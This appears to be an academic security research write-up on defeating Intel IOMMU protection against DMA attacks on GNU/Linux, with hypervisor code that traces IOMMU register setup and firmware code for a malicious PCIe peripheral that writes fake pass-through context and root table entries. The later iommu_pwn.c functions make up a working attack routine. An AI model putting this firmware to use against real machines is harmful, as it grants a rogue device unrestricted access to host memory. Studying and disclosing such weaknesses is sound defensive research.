Research and teaching in information system security
Back in 2015, we decided to dig in what has really been done in modern operating systems regarding IOMMU protection against DMA attacks :
Full presentation (LADC’16 best paper award nominee)
Corrputed or malicious PCIe peripheral
Objective : trap IOMMU config to look for DMA write windows.
We first used a custom made hypervisor to debug the behavior of
drivers/iommu/intel-iommu.c
We used Abyme hypervisor to run a SOTA GNU / linux and trap IOMMU registers configuration : ``
sources/drivers/vmm_rec_iommu/ids.c
void hook_main(void) {
// Remove RWX from IOMMU MMIO configuration registers
iommu_protect();
// Trap corresponding EPT violations
hook_boot[EXIT_REASON_EPT_VIOLATION] =
&iommu_boot_ept;
// Trap one step on MTF in order avoid emulating memory
// writes and let the VM move on its execution
hook_boot[EXIT_REASON_MONITOR_TRAP_FLAG] =
&iommu_boot_mtf;
}
When the VM boot GNU / Linux with IOMMU support, it traps regarding its configuration.
sources/drivers/vmm_rec_iommu/ids.c
int iommu_boot_ept(struct registers *regs) {
INFO("EPT VIOLATION @0x%016X\n", guest_physical_addr);
if ((guest_physical_addr == vtd1 ||
(guest_physical_addr == vtd2 ) {
iommu_state = IOMMU_TRAP;
vmm_mtf_set();
iommu_unprotect();
// Observe is IOMMU configuration
// step by step until its final
// activation
observe_and_debug();
INFO("STATE -> TRAP !\n");
return HOOK_OVERRIDE_STAY;
} else {
return HOOK_OVERRIDE_SKIP;
}
}
When a write is trapped we trace it and let the VM perform the memory affectation. That means allowing next instrution execution. That is the very point of Monitor Trap Flap activation (MTF). It will let the VM move on executing the next instruction and trap again. In our case it will write the configuration.
sources/drivers/vmm_rec_iommu/ids.c
int iommu_boot_mtf(struct registers *regs) {
if (iommu_state == IOMMU_TRAP) {
// Post access operations
switch (guest_physical_addr & 0xfff) {
case PCI_VC0PREMAP_GCMD:
INFO("=========== Write to GCMD\n");
break;
case PCI_VC0PREMAP_RTADDR:
INFO("=========== Write to RTADDR\n");
break;
case PCI_VC0PREMAP_IQT:
INFO("=========== Write to IQT\n");
break;
}
// print_protected_memory();
INFO("IOMMU TRAPPED !\n");
iommu_protect();
vmm_mtf_unset();
iommu_state = IOMMU_RUNTIME;
INFO("STATE -> RUNTIME !\n");
}
return 0;
}
Once MTF has trapped, we trace the access and go back to normal VM runtime, waiting for the next IOMMU configuration access.
Using this method, we observed the following :
We can move on to the next step were the peripheral itself creates and configures a pass-through malicious context table to self authorize its accesses.
The following figure depicts the following attack strategy we have implemented using ERIC malicious peripheral:
intel-iommu.c
driver to activate DMAR with our
configuration :)
Regarding time scale, the following figure depicts the write window when ERIC have the opportunity to succeed to overwrite the legitimate root table entry.
ERIC firmware context table write implementation using host memory DMA.
sources/bios-sstic/iommu_pwn.c
int iommu_pwn_page(unsigned int low, unsigned int high) {
uint32_t i, j;
uint32_t data[4] = { // Big endian
0x09000000, // type = pass through, present = 1
0x00000000,
0x02000000, // virtual address width = 2 (48 bits)
0x00000000
};
printf("write fake context entries\n");
// 256 entries of 128 bits each
for (i = 0; i < 256; i++) {
for (j = 0; j < 4; j++) {
if (hm_start_write(low + i * 0x10 + j * 0x4,
high, data[j], 0)) {
return 1;
}
}
}
return 0;
}
ERIC firmware root table entry write flood implementation using host memory DMA.
sources/bios-sstic/iommu_pwn.c
// Write fake root entry containing addr address
// to the fake context entry
// addr @0xd0000000
// addr |= 0x50 pour 05:00.0
int iommu_pwn(unsigned int addr) {
uint32_t low, high;
// With hypervisor
low = 0x0bb18050;
high = 0x00000004;
addr |= 1; // Bit present
hm_start_write_pwn(low, high, le32toh(addr));
return 0;
}